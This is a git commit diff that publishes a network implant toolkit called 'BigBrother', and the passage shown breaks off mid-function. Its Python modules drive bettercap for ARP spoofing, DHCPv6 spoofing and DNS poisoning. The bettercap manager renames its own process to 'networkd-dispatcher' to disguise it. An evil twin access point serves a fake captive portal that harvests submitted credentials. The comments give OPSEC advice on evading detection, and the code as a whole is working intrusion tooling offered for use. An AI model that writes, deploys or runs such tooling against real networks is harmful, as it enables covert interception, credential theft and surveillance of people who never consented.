Initial public release

Full BigBrother network implant - passive SOC + active exploitation.
Personal identifiers removed; all capabilities intact.
See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
n0mad1k
2026-06-26 09:52:50 -04:00
commit ccc6b729de
175 changed files with 47941 additions and 0 deletions
+23
View File
@@ -0,0 +1,23 @@
"""SystemMonitor active modules — MITM, spoofing, and interception."""
from modules.active.bettercap_mgr import BettercapManager
from modules.active.arp_spoof import ARPSpoof
from modules.active.dns_poison import DNSPoison
from modules.active.dhcp_spoof import DHCPSpoof
from modules.active.evil_twin import EvilTwin
from modules.active.ipv6_slaac import IPv6SLAAC
from modules.active.responder_mgr import ResponderManager
from modules.active.mitmproxy_mgr import MitmproxyManager
from modules.active.ntlm_relay import NTLMRelay
__all__ = [
"BettercapManager",
"ARPSpoof",
"DNSPoison",
"DHCPSpoof",
"EvilTwin",
"IPv6SLAAC",
"ResponderManager",
"MitmproxyManager",
"NTLMRelay",
]
+184
View File
@@ -0,0 +1,184 @@
#!/usr/bin/env python3
"""ARP Spoofing module — thin wrapper around bettercap arp.spoof.
OPSEC WARNING: ARP spoofing is the most-detected active MITM technique.
- Dynamic ARP Inspection (DAI) on managed switches silently prevents it.
- EDR/NDR solutions alert within minutes.
- Prefer Responder + IPv6 SLAAC for initial access.
- Reserve ARP spoofing for confirmed legacy/unmanaged segments.
- Always run ids_tester DAI probe first to check viability.
Configures targets + gateway, then delegates to BettercapManager to
enable arp.spoof module. Full-duplex by default for complete MITM.
"""
import logging
import os
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class ARPSpoof(BaseModule):
"""ARP spoofing via bettercap — full-duplex MITM.
Dependencies:
- bettercap_mgr must be running.
Configuration:
targets: Comma-separated target IPs or CIDR (e.g., "192.168.1.10,192.168.1.20")
gateway: Gateway IP to spoof (e.g., "192.168.1.1")
fullduplex: True for bidirectional spoofing (default True)
internal: Spoof between targets, not just target<->gateway (default False)
"""
name = "arp_spoof"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._targets: Optional[str] = None
self._gateway: Optional[str] = None
self._fullduplex = True
self._internal = False
self._spoofing = False
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("ARPSpoof requires bettercap_mgr reference in config")
return
# Check if ARP was disabled by crash recovery
if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'):
if self._bettercap_mgr._arp_disabled_by_crash:
logger.error(
"ARP spoofing disabled by crash recovery — "
"bettercap crashed too many times with ARP spoof active"
)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("ARPSpoof module started (ready for spoof commands)")
def stop(self) -> None:
if not self._running:
return
if self._spoofing:
self.stop_spoof()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ARPSpoof module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"spoofing": self._spoofing,
"targets": self._targets,
"gateway": self._gateway,
"fullduplex": self._fullduplex,
"internal": self._internal,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "fullduplex" in config:
self._fullduplex = config["fullduplex"]
if "internal" in config:
self._internal = config["internal"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def spoof(self, targets: str, gateway: str) -> bool:
"""Enable ARP spoofing for specified targets and gateway.
Args:
targets: Comma-separated target IPs or CIDR.
gateway: Gateway IP address.
Returns:
True if spoofing was enabled successfully.
"""
if not self._running or not self._bettercap_mgr:
logger.error("ARPSpoof not started")
return False
if self._bettercap_mgr._arp_disabled_by_crash:
logger.error("ARP spoofing disabled — bettercap crash threshold exceeded")
return False
try:
# Configure ARP spoof parameters
self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}")
self._bettercap_mgr.run_command(
f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}"
)
self._bettercap_mgr.run_command(
f"set arp.spoof.internal {'true' if self._internal else 'false'}"
)
# Enable ARP spoofing
self._bettercap_mgr.run_command("arp.spoof on")
self._targets = targets
self._gateway = gateway
self._spoofing = True
# Inform bettercap_mgr for crash recovery tracking
self._bettercap_mgr.set_spoofing_state(True, targets, gateway)
self.state.set(self.name, "targets", targets)
self.state.set(self.name, "gateway", gateway)
logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway)
return True
except Exception:
logger.exception("Failed to enable ARP spoofing")
return False
def stop_spoof(self) -> bool:
"""Disable ARP spoofing and send corrective ARPs.
Returns:
True if spoofing was stopped successfully.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("arp.spoof off")
self._spoofing = False
self._bettercap_mgr.set_spoofing_state(False)
self.state.set(self.name, "targets", "")
self.state.set(self.name, "gateway", "")
logger.info("ARP spoofing disabled")
return True
except Exception:
logger.exception("Failed to disable ARP spoofing")
return False
+516
View File
@@ -0,0 +1,516 @@
#!/usr/bin/env python3
"""Central bettercap orchestrator — single instance, shared by all active modules.
Manages the bettercap subprocess lifecycle, REST API health monitoring,
event stream parsing, caplet management, and crash recovery with corrective
gratuitous ARPs.
All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC)
route commands through this manager via run_command() and the BettercapAPI
client.
"""
import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.bettercap_api import BettercapAPI
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
class BettercapManager(BaseModule):
"""Central bettercap instance manager.
Responsibilities:
- Start/stop bettercap with random per-session API credentials
- Health monitoring via GET /api/session every 10s
- Auto-restart on crash (max 3) with caplet re-application
- Crash recovery: gratuitous ARP correction if spoofing was active
- Parse event stream for credentials and host discoveries
- Caplet management: load/unload/switch from config/caplets/
- Process disguise coordination
"""
name = "bettercap_mgr"
module_type = "active"
priority = 50
requires_root = True
HEALTH_POLL_INTERVAL = 10 # seconds
EVENT_POLL_INTERVAL = 5 # seconds
MAX_CRASH_RESTARTS = 3
RESTART_WINDOW = 15 # seconds — restart within this window after crash
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._api: Optional[BettercapAPI] = None
self._proc: Optional[subprocess.Popen] = None
self._health_thread: Optional[threading.Thread] = None
self._event_thread: Optional[threading.Thread] = None
self._crash_count = 0
self._last_event_id = 0
self._active_caplet: Optional[str] = None
self._spoofing_active = False
self._spoof_targets: Optional[str] = None
self._spoof_gateway: Optional[str] = None
self._arp_disabled_by_crash = False
self._lock = threading.Lock()
self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap")
self._iface = config.get("interface", "eth0")
self._api_host = "127.0.0.1"
self._api_port = config.get("bettercap_api_port", 8083)
self._caplet_dir = config.get(
"caplet_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"),
)
self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher")
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Initialise REST API client with fresh random credentials
self._api = BettercapAPI(
host=self._api_host,
port=self._api_port,
)
if not self._start_bettercap():
logger.error("Failed to start bettercap subprocess")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._crash_count = 0
# Health monitoring thread
self._health_thread = threading.Thread(
target=self._health_loop, daemon=True, name="sensor-bcap-health"
)
self._health_thread.start()
# Event stream parser thread
self._event_thread = threading.Thread(
target=self._event_loop, daemon=True, name="sensor-bcap-events"
)
self._event_thread.start()
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
logger.info(
"BettercapManager started (api=%s:%d, iface=%s)",
self._api_host, self._api_port, self._iface,
)
def stop(self) -> None:
if not self._running:
return
self._running = False
# Stop ARP spoofing cleanly before shutdown
if self._spoofing_active:
try:
self._api.run("arp.spoof off")
except Exception:
pass
self._spoofing_active = False
self._stop_bettercap()
self.state.set_module_status(self.name, "stopped")
logger.info("BettercapManager stopped")
def status(self) -> dict:
alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running and alive,
"pid": self._get_proc_pid(),
"uptime": time.time() - self._start_time if self._start_time else 0,
"crash_count": self._crash_count,
"spoofing_active": self._spoofing_active,
"active_caplet": self._active_caplet,
"arp_disabled_by_crash": self._arp_disabled_by_crash,
"api_port": self._api_port,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
def health_check(self) -> bool:
if not self._running:
return False
if self._api is None:
return False
try:
return self._api.is_alive()
except Exception:
return False
# ------------------------------------------------------------------
# Public API — used by other active modules
# ------------------------------------------------------------------
def run_command(self, cmd: str) -> dict:
"""Execute a bettercap command via REST API.
Args:
cmd: bettercap command string (e.g., "arp.spoof on")
Returns:
API response dict.
Raises:
ConnectionError: If bettercap is unreachable.
"""
if self._api is None:
raise ConnectionError("BettercapManager not started")
return self._api.run(cmd)
def load_caplet(self, name: str) -> dict:
"""Load a caplet from the caplet directory.
Args:
name: Caplet filename (e.g., "passive_recon.cap").
Returns:
API response dict.
"""
caplet_path = os.path.join(self._caplet_dir, name)
if not os.path.isfile(caplet_path):
raise FileNotFoundError(f"Caplet not found: {caplet_path}")
result = self._api.load_caplet(caplet_path)
self._active_caplet = name
self.state.set(self.name, "active_caplet", name)
logger.info("Loaded caplet: %s", name)
return result
def get_hosts(self) -> list:
"""Return discovered hosts from bettercap session."""
if self._api is None:
return []
try:
return self._api.get_hosts()
except Exception:
return []
def is_spoofing(self) -> bool:
"""Return True if ARP spoofing is currently active."""
return self._spoofing_active
def set_spoofing_state(self, active: bool, targets: str = None,
gateway: str = None) -> None:
"""Track ARP spoofing state for crash recovery."""
with self._lock:
self._spoofing_active = active
self._spoof_targets = targets
self._spoof_gateway = gateway
def get_api(self) -> Optional[BettercapAPI]:
"""Return the BettercapAPI client instance."""
return self._api
# ------------------------------------------------------------------
# Subprocess management
# ------------------------------------------------------------------
def _start_bettercap(self) -> bool:
"""Launch bettercap subprocess with REST API."""
cmd = [
self._binary,
"-iface", self._iface,
"-no-history",
] + self._api.api_flags
env = dict(os.environ)
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=env,
preexec_fn=self._make_preexec(self._disguise_name),
)
except FileNotFoundError:
logger.error("bettercap binary not found: %s", self._binary)
return False
except Exception as e:
logger.error("Failed to start bettercap: %s", e)
return False
# Wait for API to become available (up to 15s)
deadline = time.time() + 15
while time.time() < deadline:
if self._api.is_alive():
logger.info("bettercap API ready (pid=%d)", self._proc.pid)
return True
time.sleep(0.5)
logger.error("bettercap API did not become ready within 15s")
self._stop_bettercap()
return False
def _stop_bettercap(self) -> None:
"""Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL."""
proc = self._proc
if proc is None or proc.poll() is not None:
self._proc = None
return
try:
proc.terminate()
except OSError:
pass
try:
proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL")
try:
proc.kill()
proc.wait(timeout=2.0)
except Exception:
pass
self._proc = None
def _get_proc_pid(self) -> Optional[int]:
if self._proc and self._proc.poll() is None:
return self._proc.pid
return None
# ------------------------------------------------------------------
# Crash recovery
# ------------------------------------------------------------------
def _handle_crash(self) -> None:
"""Handle bettercap crash: corrective ARPs, then restart.
If ARP spoofing was active, immediately send corrective gratuitous
ARPs to restore network state. Disable ARP spoofing after 3 crashes
to prevent a crash loop from disrupting the network.
"""
self._crash_count += 1
logger.warning(
"bettercap crashed (count=%d/%d, spoofing_was_active=%s)",
self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active,
)
self.bus.emit(
"TOOL_CRASHED",
{
"tool": "bettercap",
"crash_count": self._crash_count,
"spoofing_active": self._spoofing_active,
},
source_module=self.name,
)
# Send corrective gratuitous ARPs if spoofing was active
if self._spoofing_active and self._spoof_gateway:
self._send_corrective_arps()
# Disable ARP spoof after max crashes to break crash loops
if self._crash_count >= self.MAX_CRASH_RESTARTS:
if self._spoofing_active:
logger.error(
"ARP spoof disabled after %d crashes — network stability risk",
self._crash_count,
)
self._arp_disabled_by_crash = True
self._spoofing_active = False
self.state.set(self.name, "arp_disabled_by_crash", "true")
logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS)
self._running = False
self.state.set_module_status(self.name, "crashed")
return
# Restart bettercap within RESTART_WINDOW
backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW)
logger.info("Restarting bettercap in %ds (attempt %d/%d)",
backoff, self._crash_count, self.MAX_CRASH_RESTARTS)
time.sleep(backoff)
if self._start_bettercap():
logger.info("bettercap restarted successfully")
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
# Re-apply active caplet
if self._active_caplet:
try:
self.load_caplet(self._active_caplet)
except Exception:
logger.exception("Failed to re-apply caplet after restart")
# Re-enable ARP spoofing if it was active and not disabled
if self._spoofing_active and not self._arp_disabled_by_crash:
try:
if self._spoof_targets:
self._api.set_parameter("arp.spoof.targets", self._spoof_targets)
self._api.run("arp.spoof on")
logger.info("ARP spoofing re-enabled after restart")
except Exception:
logger.exception("Failed to re-enable ARP spoof after restart")
else:
logger.error("bettercap restart failed")
self._running = False
self.state.set_module_status(self.name, "crashed")
def _send_corrective_arps(self) -> None:
"""Send corrective gratuitous ARPs to restore network after crash.
Uses scapy to send a few gratuitous ARP packets with the real
gateway MAC to undo any poisoned ARP caches.
"""
try:
from scapy.all import ARP, Ether, sendp, getmacbyip
except ImportError:
logger.warning("scapy not available — cannot send corrective ARPs")
return
gateway = self._spoof_gateway
if not gateway:
return
try:
gw_mac = getmacbyip(gateway)
if not gw_mac:
logger.warning("Could not resolve gateway MAC for corrective ARPs")
return
# Gratuitous ARP: gateway telling everyone its real MAC
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, # is-at
psrc=gateway,
hwsrc=gw_mac,
pdst=gateway,
hwdst="ff:ff:ff:ff:ff:ff",
)
sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False)
logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway)
except Exception:
logger.exception("Failed to send corrective ARPs")
# ------------------------------------------------------------------
# Health monitoring loop
# ------------------------------------------------------------------
def _health_loop(self) -> None:
"""Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes."""
while self._running:
time.sleep(self.HEALTH_POLL_INTERVAL)
if not self._running:
break
# Check if process is still alive
if self._proc and self._proc.poll() is not None:
self._handle_crash()
continue
# Check API responsiveness
try:
if not self._api.is_alive():
logger.warning("bettercap API unresponsive — checking process")
if self._proc and self._proc.poll() is not None:
self._handle_crash()
except Exception:
logger.exception("Health check error")
# ------------------------------------------------------------------
# Event stream parser
# ------------------------------------------------------------------
def _event_loop(self) -> None:
"""Poll bettercap event stream for credentials and host discoveries."""
while self._running:
time.sleep(self.EVENT_POLL_INTERVAL)
if not self._running:
break
try:
events = self._api.get_events(since=self._last_event_id)
except Exception:
continue
for event in events:
self._last_event_id += 1
self._process_event(event)
def _process_event(self, event: dict) -> None:
"""Parse a single bettercap event and emit bus events as needed."""
tag = event.get("tag", "")
data = event.get("data", {})
# Credential captures from HTTP proxy, net.sniff, etc.
if tag in ("net.sniff.credentials", "http.proxy.credentials",
"https.proxy.credentials"):
self._handle_credential_event(data)
# Host discovery events
elif tag in ("endpoint.new", "endpoint.detected"):
self._handle_host_event(data)
# Module status events
elif tag.startswith("mod."):
logger.debug("bettercap module event: %s", tag)
def _handle_credential_event(self, data: dict) -> None:
"""Emit CREDENTIAL_FOUND for captured credentials."""
payload = {
"source_module": self.name,
"source_ip": data.get("from", ""),
"target_ip": data.get("to", ""),
"target_service": data.get("proto", "unknown"),
"username": data.get("username", ""),
"credential_type": data.get("type", "cleartext"),
"credential_value": data.get("password", data.get("hash", "")),
"raw_data": data,
}
emit_credential_found(self.bus, self.name, payload)
logger.info(
"Credential captured: %s@%s (%s)",
payload["username"], payload["target_ip"], payload["target_service"],
)
def _handle_host_event(self, data: dict) -> None:
"""Emit HOST_DISCOVERED for new network hosts."""
payload = {
"source_module": self.name,
"ip": data.get("ipv4", data.get("addr", "")),
"mac": data.get("mac", ""),
"hostname": data.get("hostname", ""),
"vendor": data.get("vendor", ""),
"os": data.get("os", ""),
"raw_data": data,
}
self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name)
# ------------------------------------------------------------------
# Helpers
# ------------------------------------------------------------------
@staticmethod
def _make_preexec(disguise_name: str):
"""Return a preexec_fn that renames the process via prctl."""
def _preexec():
try:
import ctypes
libc = ctypes.CDLL("libc.so.6", use_errno=True)
PR_SET_NAME = 15
name_bytes = disguise_name[:15].encode("utf-8")
libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
except Exception:
pass
return _preexec
+151
View File
@@ -0,0 +1,151 @@
#!/usr/bin/env python3
"""DHCP Spoofing module — configure DHCPv6 spoofing via bettercap.
Uses bettercap's dhcp6.spoof module to win DHCP races and inject
a rogue DNS server (the implant) into client configurations.
This enables DNS-based MITM without ARP spoofing.
"""
import logging
import os
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class DHCPSpoof(BaseModule):
"""DHCP spoofing via bettercap dhcp6.spoof.
Sets up a rogue DHCPv6 server that responds to DHCP requests,
injecting the implant as the DNS server. Combined with DNS
poisoning, this provides full MITM without ARP cache manipulation.
Dependencies:
- bettercap_mgr must be running.
Configuration:
dns_server: DNS server IP to inject (default: implant IP)
gateway: Gateway IP to advertise
"""
name = "dhcp_spoof"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._spoofing = False
self._dns_server: Optional[str] = None
self._gateway: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("DHCPSpoof requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("DHCPSpoof module started (ready for spoof commands)")
def stop(self) -> None:
if not self._running:
return
if self._spoofing:
self.stop_spoof()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("DHCPSpoof module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"spoofing": self._spoofing,
"dns_server": self._dns_server,
"gateway": self._gateway,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def spoof(self, dns_server: str, gateway: str) -> bool:
"""Enable DHCP spoofing with rogue DNS server.
Args:
dns_server: IP to inject as DNS server (typically the implant IP).
gateway: Gateway IP to advertise in DHCP responses.
Returns:
True if DHCP spoofing was enabled.
"""
if not self._running or not self._bettercap_mgr:
logger.error("DHCPSpoof not started")
return False
try:
# Configure dhcp6.spoof parameters
self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *")
self._bettercap_mgr.run_command("dhcp6.spoof on")
self._spoofing = True
self._dns_server = dns_server
self._gateway = gateway
self.state.set(self.name, "dns_server", dns_server)
self.state.set(self.name, "gateway", gateway)
logger.info(
"DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway
)
return True
except Exception:
logger.exception("Failed to enable DHCP spoofing")
return False
def stop_spoof(self) -> bool:
"""Disable DHCP spoofing.
Returns:
True if DHCP spoofing was stopped.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("dhcp6.spoof off")
self._spoofing = False
self._dns_server = None
self._gateway = None
self.state.set(self.name, "dns_server", "")
self.state.set(self.name, "gateway", "")
logger.info("DHCP spoofing disabled")
return True
except Exception:
logger.exception("Failed to disable DHCP spoofing")
return False
+201
View File
@@ -0,0 +1,201 @@
#!/usr/bin/env python3
"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.
Template-driven zone files are converted to bettercap dns.spoof.domains
format. Supports selective domain redirection and wildcard matching.
Zone templates live in templates/dns_zones/.
"""
import logging
import os
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class DNSPoison(BaseModule):
"""DNS poisoning via bettercap dns.spoof module.
Dependencies:
- bettercap_mgr must be running.
Configuration:
domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
target_ip: IP to redirect poisoned domains to (default: implant IP)
zone_file: Path to zone template for selective redirection
"""
name = "dns_poison"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._poisoning = False
self._domains: Optional[str] = None
self._target_ip: Optional[str] = None
self._zone_dir = config.get(
"zone_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("DNSPoison requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("DNSPoison module started (ready for poison commands)")
def stop(self) -> None:
if not self._running:
return
if self._poisoning:
self.stop_poison()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("DNSPoison module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"poisoning": self._poisoning,
"domains": self._domains,
"target_ip": self._target_ip,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def poison(self, domains: str, target_ip: str) -> bool:
"""Enable DNS poisoning for specified domains.
Args:
domains: Comma-separated domains or wildcards
(e.g., "*.corp.local,login.example.com").
target_ip: IP address to redirect poisoned domains to.
Returns:
True if DNS poisoning was enabled successfully.
"""
if not self._running or not self._bettercap_mgr:
logger.error("DNSPoison not started")
return False
try:
self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
self._bettercap_mgr.run_command("dns.spoof on")
self._poisoning = True
self._domains = domains
self._target_ip = target_ip
self.state.set(self.name, "domains", domains)
self.state.set(self.name, "target_ip", target_ip)
logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
return True
except Exception:
logger.exception("Failed to enable DNS poisoning")
return False
def load_zone(self, zone_file: str) -> bool:
"""Load a zone template and apply DNS poisoning rules.
Zone file format (one entry per line):
domain.com 192.168.1.100
*.corp.local 192.168.1.100
# comments ignored
Args:
zone_file: Filename within the zone_dir (e.g., "selective.zone").
Returns:
True if zone was loaded and applied.
"""
zone_path = os.path.join(self._zone_dir, zone_file)
if not os.path.isfile(zone_path):
logger.error("Zone file not found: %s", zone_path)
return False
try:
domains = []
target_ip = None
with open(zone_path, "r") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split()
if len(parts) >= 2:
domains.append(parts[0])
# Use the last IP seen as target
target_ip = parts[1]
elif len(parts) == 1:
domains.append(parts[0])
if not domains:
logger.warning("Zone file %s contains no entries", zone_file)
return False
if not target_ip:
target_ip = self.config.get("implant_ip", "127.0.0.1")
return self.poison(",".join(domains), target_ip)
except Exception:
logger.exception("Failed to load zone file: %s", zone_file)
return False
def stop_poison(self) -> bool:
"""Disable DNS poisoning.
Returns:
True if DNS poisoning was stopped successfully.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("dns.spoof off")
self._poisoning = False
self._domains = None
self._target_ip = None
self.state.set(self.name, "domains", "")
self.state.set(self.name, "target_ip", "")
logger.info("DNS poisoning disabled")
return True
except Exception:
logger.exception("Failed to disable DNS poisoning")
return False
+554
View File
@@ -0,0 +1,554 @@
#!/usr/bin/env python3
"""Evil Twin AP module — hostapd-based rogue access point with captive portal.
Creates a wireless access point matching a target SSID, combined with
a captive portal served via a lightweight HTTP server. dnsmasq provides
DHCP and DNS for connected clients, redirecting all DNS to the portal.
OPSEC: Run wireless_intel module for 2-hour observation before activation
to detect WIDS/WIPS and understand target AP parameters.
Resources: ~30MB RAM, ~5% CPU
"""
import http.server
import logging
import os
import signal
import socketserver
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Default dnsmasq config for captive portal
DNSMASQ_CONF_TEMPLATE = """interface={iface}
dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
dhcp-option=3,{gateway}
dhcp-option=6,{gateway}
address=/#/{gateway}
no-resolv
log-queries
log-facility=/tmp/bb-dnsmasq.log
"""
class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
"""HTTP handler for the captive portal.
Serves the portal HTML for GET requests and captures POST data
(credentials) from login forms.
"""
portal_html = ""
credential_callback = None
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(self.portal_html.encode("utf-8"))
def do_POST(self):
content_length = int(self.headers.get("Content-Length", 0))
post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")
if self.credential_callback:
self.credential_callback(self.client_address[0], post_data)
# Redirect to a "success" page after capture
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
success_html = (
"<html><body><h2>Connecting...</h2>"
"<p>Please wait while we verify your credentials.</p>"
"<script>setTimeout(function(){window.location='/'},5000);</script>"
"</body></html>"
)
self.wfile.write(success_html.encode("utf-8"))
def log_message(self, format, *args):
"""Suppress default HTTP logging to avoid console noise."""
pass
class EvilTwin(BaseModule):
"""Evil Twin AP with captive portal credential harvesting.
Creates a rogue AP matching a target SSID using hostapd, serves a
captive portal, and captures credentials from connecting clients.
Dependencies:
- hostapd (system package)
- dnsmasq (system package)
- Wireless interface capable of AP mode
Configuration:
wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
portal_dir: Path to captive portal HTML templates
"""
name = "evil_twin"
module_type = "active"
priority = 200
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._hostapd_proc: Optional[subprocess.Popen] = None
self._dnsmasq_proc: Optional[subprocess.Popen] = None
self._portal_thread: Optional[threading.Thread] = None
self._portal_server: Optional[socketserver.TCPServer] = None
self._wifi_iface = config.get("wifi_iface", "wlan0")
self._ap_active = False
self._ssid: Optional[str] = None
self._channel = 6
self._portal_template: Optional[str] = None
self._clients: list = []
self._clients_lock = threading.Lock()
self._captured_creds: list = []
self._creds_lock = threading.Lock()
self._portal_port = config.get("portal_port", 80)
self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
self._template_dir = config.get(
"portal_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
)
self._hostapd_template_dir = config.get(
"hostapd_template_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
)
self._tmp_dir = "/tmp/bb-evil-twin"
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("EvilTwin module started (ready for AP creation)")
def stop(self) -> None:
if not self._running:
return
if self._ap_active:
self.stop_ap()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("EvilTwin module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"ap_active": self._ap_active,
"ssid": self._ssid,
"channel": self._channel,
"interface": self._wifi_iface,
"client_count": len(self._clients),
"captured_creds": len(self._captured_creds),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "wifi_iface" in config:
self._wifi_iface = config["wifi_iface"]
if "portal_port" in config:
self._portal_port = config["portal_port"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def create_ap(self, ssid: str, channel: int = 6,
portal_template: str = "corporate_login.html") -> bool:
"""Create evil twin AP with captive portal.
Args:
ssid: Target SSID to clone.
channel: WiFi channel (default 6).
portal_template: Filename of HTML portal template.
Returns:
True if AP was created successfully.
"""
if not self._running:
logger.error("EvilTwin not started")
return False
if self._ap_active:
logger.warning("AP already active — stop it first")
return False
self._ssid = ssid
self._channel = channel
self._portal_template = portal_template
# Write hostapd config
hostapd_conf = self._generate_hostapd_config(ssid, channel)
hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
with open(hostapd_conf_path, "w") as f:
f.write(hostapd_conf)
# Configure wireless interface
if not self._setup_interface():
return False
# Start hostapd
if not self._start_hostapd(hostapd_conf_path):
self._teardown_interface()
return False
# Write and start dnsmasq
dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
iface=self._wifi_iface,
dhcp_start=self._dhcp_start,
dhcp_end=self._dhcp_end,
gateway=self._gateway_ip,
)
dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
with open(dnsmasq_conf_path, "w") as f:
f.write(dnsmasq_conf)
if not self._start_dnsmasq(dnsmasq_conf_path):
